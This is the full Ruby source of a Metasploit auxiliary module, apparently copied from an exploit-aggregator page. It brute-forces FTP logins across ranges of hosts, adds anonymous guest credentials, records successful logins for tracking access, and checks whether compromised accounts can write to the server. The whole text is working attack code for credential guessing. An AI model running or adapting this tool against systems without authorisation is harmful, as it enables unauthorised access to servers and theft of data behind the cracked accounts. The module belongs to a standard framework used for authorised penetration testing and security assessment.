Share
## https://sploitus.com/exploit?id=PACKETSTORM:181000
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/credential_collection'  
require 'metasploit/framework/login_scanner/ftp'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
  
def proto  
'ftp'  
end  
  
def initialize  
super(  
'Name' => 'FTP Authentication Scanner',  
'Description' => %q{  
This module will test FTP logins on a range of machines and  
report successful logins. If you have loaded a database plugin  
and connected to a database this module will record successful  
logins and hosts so you can track your access.  
},  
'Author' => 'todb',  
'References' =>  
[  
[ 'CVE', '1999-0502'] # Weak password  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'ConnectTimeout' => 30  
}  
)  
  
register_options(  
[  
Opt::Proxies,  
Opt::RPORT(21),  
OptBool.new('RECORD_GUEST', [ false, "Record anonymous/guest logins to the database", false])  
])  
  
register_advanced_options(  
[  
OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false]),  
]  
)  
  
deregister_options('FTPUSER','FTPPASS') # Can use these, but should use 'username' and 'password'  
@accepts_all_logins = {}  
end  
  
  
def run_host(ip)  
print_status("#{ip}:#{rport} - Starting FTP login sweep")  
  
cred_collection = build_credential_collection(  
username: datastore['USERNAME'],  
password: datastore['PASSWORD'],  
prepended_creds: anonymous_creds  
)  
  
scanner = Metasploit::Framework::LoginScanner::FTP.new(  
configure_login_scanner(  
host: ip,  
port: rport,  
proxies: datastore['PROXIES'],  
cred_details: cred_collection,  
stop_on_success: datastore['STOP_ON_SUCCESS'],  
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],  
max_send_size: datastore['TCP::max_send_size'],  
send_delay: datastore['TCP::send_delay'],  
connection_timeout: datastore['ConnectTimeout'],  
ftp_timeout: datastore['FTPTimeout'],  
framework: framework,  
framework_module: self,  
ssl: datastore['SSL'],  
ssl_version: datastore['SSLVersion'],  
ssl_verify_mode: datastore['SSLVerifyMode'],  
ssl_cipher: datastore['SSLCipher'],  
local_port: datastore['CPORT'],  
local_host: datastore['CHOST']  
)  
)  
  
scanner.scan! do |result|  
credential_data = result.to_h  
credential_data.merge!(  
module_fullname: self.fullname,  
workspace_id: myworkspace_id  
)  
if result.success?  
credential_data[:private_type] = :password  
credential_core = create_credential(credential_data)  
credential_data[:core] = credential_core  
create_credential_login(credential_data)  
  
print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"  
else  
invalidate_login(credential_data)  
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"  
end  
end  
  
end  
  
  
# Always check for anonymous access by pretending to be a browser.  
def anonymous_creds  
anon_creds = [ ]  
if datastore['RECORD_GUEST']  
['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|  
anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)  
end  
end  
anon_creds  
end  
  
def test_ftp_access(user,scanner)  
dir = Rex::Text.rand_text_alpha(8)  
write_check = scanner.send_cmd(['MKD', dir], true)  
if write_check and write_check =~ /^2/  
scanner.send_cmd(['RMD',dir], true)  
print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access")  
return 'Read/Write'  
else  
print_status("#{rhost}:#{rport} - User '#{user}' has READ access")  
return 'Read-only'  
end  
end  
  
  
end